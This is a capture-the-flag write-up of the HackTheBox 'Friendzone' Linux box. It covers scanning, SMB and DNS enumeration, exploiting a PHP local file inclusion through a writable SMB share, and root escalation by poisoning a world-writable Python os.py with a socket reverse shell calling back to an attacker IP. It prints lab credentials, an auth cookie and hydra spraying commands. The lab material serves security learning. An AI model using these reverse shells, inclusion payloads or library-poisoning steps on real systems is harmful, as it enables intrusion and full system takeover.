ab0ut
I am a pl0dder working my way through cyberspace. I will reach my destination after all others, and will do so at great cost.
These erroneous scratches represent my bastion of sanity. If I lose this, everything will have been for naught.
Friendzone
This is a Linux box from the TJ Null list.
It was an absolute pain in the ass with all the misdirections and rabbit holes. Yes the exploitation was straightforward but you had to figure out what to exploit first. It's definitely one of those boxes that test your methodology and endurance.
Scope
Our target is 10.10.10.123
. We can expect it to be a Linux machine.
Enumeration
I like to run rustscan
as the first point of call as it usually finds ports a lot faster than a full nmap
, and lets us prioritise early on.
rustscan -a 10.10.10.123
We glean the following information:
- Appears to be running web servers on ports 80 and 443.
- Some NetBIOS/SMB running on 139 and 445 (quite interesting).
- FTP on 21.
- DNS (TCP at that), which is very interesting.
- Reminder: To check 53/UDP if we end up getting stuck.
- SSH can get fucked.
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
22/tcp open ssh syn-ack
53/tcp open domain syn-ack
80/tcp open http syn-ack
139/tcp open netbios-ssn syn-ack
443/tcp open https syn-ack
445/tcp open microsoft-ds syn-ack
I decide to run a deeper scan specifically on these ports before investigating, just so we get some version info and script output.
sudo nmap -sS -A -p21,22,53,80,139,443,445 -Pn -T4 10.10.10.123 -oA friendzone
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-title: 404 Not Found
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Linux 3.12 (93%), Linux 3.13 (93%), Linux 3.13 - 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m55s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2024-03-29T21:26:18+03:00
| smb2-time:
| date: 2024-03-29T18:26:18
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Vulnerability Analysis
That's quite a lot of enum to take in, so let's do a quick search for known vulnerabilities.
vsftpd 3.0.3
- A remote DoS.
- Some weird malicious version with a backdoor.
- Nothing here.
OpenSSH 7.6p1
- Again, SSH can get fucked.
ISC BIND 9.11.3-1ubuntu1.2
- A huge list of uninteresting and theoretical DoS/memory exploits.
Apache httpd 2.4.29
- Nothing affecting this specific version.
Samba smbd 4.7.6-Ubuntu
- Nothing.
Alright we came up with a whole lot of nothing. Let's start poking at the services.
FTP
Attempted to connect anonymously but no dice. Let's move on.
ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
SMB
We get more success with anonymous/null session to SMB:
smbclient -L '\\10.10.10.123\' -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP FRIENDZONE
I'll use smbmap
to give us a prettier listing of the files in each share, and our permissions.
I'm pretty happy with the creds.txt
so let's download it and take a look:
smbmap --no-banner -H 10.10.10.123 --download 'general\creds.txt'
This is the contents of the file:
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Fantastic. Now what's the admin thing?
Websites
I tried spraying the creds we found against FTP and SMB. It's always worth doing this as soon as we get them since during CTFs/boxes it is incredibly easy to forget.
hydra -l admin -p 'WORKWORKHhallelujah@#' ssh://10.10.10.123 -u -f
hydra -l admin -p 'WORKWORKHhallelujah@#' ftp://10.10.10.123 -u -f
Alright we kind of skipped over the websites so let's go.
Note that the HTTP (port 80) and HTTPS (port 443) websites have different content. Don't assume that they are the same. Both are static/404 so let's do some dirbusting.
Dirbusting
Things to note:
- It's Apache so
.php
is more likely. - Need to dirbust both HTTP and HTTPS separately.
- We haven't added a domain/hostname yet.
- We found that the box is called
friendzone.red
. - If we get stuck we can do some VHOST/sub-domain brute-forcing.
- We found that the box is called
Directories:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://10.10.10.123/FUZZ -recursion -recursion-depth 1 -e .php -v -ic
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u https://10.10.10.123/FUZZ -recursion -recursion-depth 1 -e .php -v -ic
Didn't find much, so let's do files:
# HTTP
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ -u http://10.10.10.123/FUZZ -v -ic
# HTTPS
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ -u https://10.10.10.123/FUZZ -v -ic
On the HTTP site we have the following:
http://10.10.10.123/.
http://10.10.10.123/.htaccess
http://10.10.10.123/.htaccess.bak
http://10.10.10.123/.htgroup
http://10.10.10.123/.htm
http://10.10.10.123/.html
http://10.10.10.123/.htpasswd
http://10.10.10.123/.htpasswds
http://10.10.10.123/.htuser
http://10.10.10.123/.php
http://10.10.10.123/index.html
http://10.10.10.123/robots.txt
http://10.10.10.123/wp-forum.phps
Firstly, I don't like how this box is getting cheeky.
Everything else was a 403. Let's get VHOST/sub-domain busting.
VHOSTs and sub-domains
Added friendzone.red
to /etc/hosts
.
# HTTP
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://friendzone.red -H "HOST: FUZZ.friendzone.red" -fs 324
# HTTPS
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://friendzone.red -H "HOST: FUZZ.friendzone.red" -fs 324
We got one match: uploads.friendzone.red
(HTTPS). Seems to have a file upload, unsurprisingly.
Getting stuck
Took another look at https://friendzone.red
and was greeted with this:
The page source has the following:
<title>FriendZone escape software</title>
<br />
<br />
<center><h2>Ready to escape from friend zone !</h2></center>
<center><img src="e.gif" /></center>
<!-- Just doing some development here -->
<!-- /js/js -->
<!-- Don't go deep ;) -->
If we go to that URL we get this:
<p>Testing some functions !</p>
<p>I'am trying not to break things !</p>
THRRNW1kWkZtRzE3MTE3NDA1NjVORDQxdjkwYnNs<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->
I got kind of stuck here since I couldn't figure out what that page was doing. I decided to go back to DNS and see if we can enum some records.
DNS
Conducted some zone transfers for zones under friendzone.red
:
dig axfr friendzone.red @10.10.10.123
We found the following domains:
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
(kinda confirmed from VHOST enum)friendzone.red
Let's add them to our /etc/hosts
and take a look.
Administrator Portal
At https://administrator1.friendzone.red/
we find a login form for the application.
We successfully login with admin:WORKWORKHhallelujah@#
and are (manually) redirected to /dashboard.php
.
The page expects us to enter an image_name
presumably as a GET parameter so let's try that.
The content was the same regardless, as I kept getting errors.
Things I noticed:
- XSS with the
image_id
parameter. - The
pagename
seems to load a page.- It implicitly adds
.php
to the end of the name. - The default
timestamp
value they give matches withhttps://administrator1.friendzone.red/timestamp.php
. - Didn't have any luck with RFI, and couldn't get access to
/etc/passwd
through traversal sequences.
- It implicitly adds
Exploiting LFI
Grabbing Sources
Using the PHP base64 filter we can grab the source of the pages, e.g.:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard
Basically we get the base64-encoded page sources in the output of the page. Here is the output for some of the pages we have already found:
// dashboard.php
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
// timestamp.php
<?php
$time_final = time() + 3600;
echo "Final Access timestamp is $time_final";
?>
Revisiting SMB
None of that was very useful so I decided to revisit one of the SMB shares called Development
.
We had read-write access but there wasn't anything in that directory. I noticed that one of the other shares, Files
, had a comment saying FriendZone Samba Server Files /etc/files
. If all the shares were configured in the same way then we might expect Development
to be located at /etc/Development
.
I created the following simple POC and uploaded under Development\test.php
:
<?php phpinfo(); ?>
Clearly we now have a way to get RCE and a shell on the box.
Reverse Shell
I used /usr/share/webshells/laudanum/php/php-reverse-shell.php
and modified to my host and port. Then I uploaded to the Development
share.
smbclient '\\10.10.10.123\Development' -N
# Try "help" to get a list of possible commands.
smb: \> put php-reverse-shell.php
# putting file php-reverse-shell.php as \php-reverse-shell.php (127.7 kb/s) (average 127.7 kb/s)
smb: \> exit
Then call by curling the URL:
curl -k -H "Cookie: FriendZoneAuth=e7749d0f4b4da5d03e6e9196fd1d18f1;" 'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell'
Finally, after all this time, we have a shell.
User Flag
The user flag is located at: /home/friend/user.txt
.
Host Enumeration
Alright we have a shell as www-data
which is never good, and we don't have legitimate passwords either (except for the one for the app).
Shell Upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
Server Admin
I normally look in /opt
for non-default software and immediately we have a Python script with these perms: -rwxr--r-- 1 root root 424 Jan 16 2019 reporter.py
.
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
Not sure where this is being called yet. Let's keep digging.
I used pspy64
to take a look at the processes currently running, and notice that reporter.py
is being executed by someone with a UID of 0... root
.
Exploiting Python Script
Since the script imports os
, I thought that if I added an os.py
in the working directory then it would use that instead. So I created something like this:
# os.py
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.33",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
Unfortunately I forgot the permissions on the /opt/server_admin
directory: drwxr-xr-x 2 root root
. If we can't place something there, then maybe we can poison the actual library.
We can locate
it:
locate os.py
# /usr/lib/python2.7/os.py
Now let's check the perms:
ls -al /usr/lib/python2.7/os.py
# -rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
I edit the file and add the reverse shell from above, with some modifications (since we are already inside the os
module, we omit the os
from function calls).
import pty, socket
s=socket.socket()
s.connect(("10.10.14.33",443))
[dup2(s.fileno(),f) for f in(0,1,2)]
pty.spawn("sh")
At the same time I setup my nc
to catch it, and wait.
Root Flag
We grab it from /root/root.txt
.
Backtracking
In hindsight I missed a step since I should have had the creds of the friend
user. I couldn't find anything else in their home directory, so I looked back at the /var/www
files.
In fact in that directory I literally found their creds:
for development process this is the mysql creds for user friend
db_user=friend
db_pass=<REDACTED>
db_name=FZ
Even I can get careless.
Lessons Learnt
- Follow through on all enumeration paths.
- When you are faced with a vuln, research what is possible to do with it (PHP LFI).
- Don't ignore results from scans/enums, especially if they are clearly vulnerable (read-write SMB Development share).
- Don't rely on linpeas (but do use it) and use other tools to complement it (pspy).
- Don't think that enumeration is over once you get RCE/shell.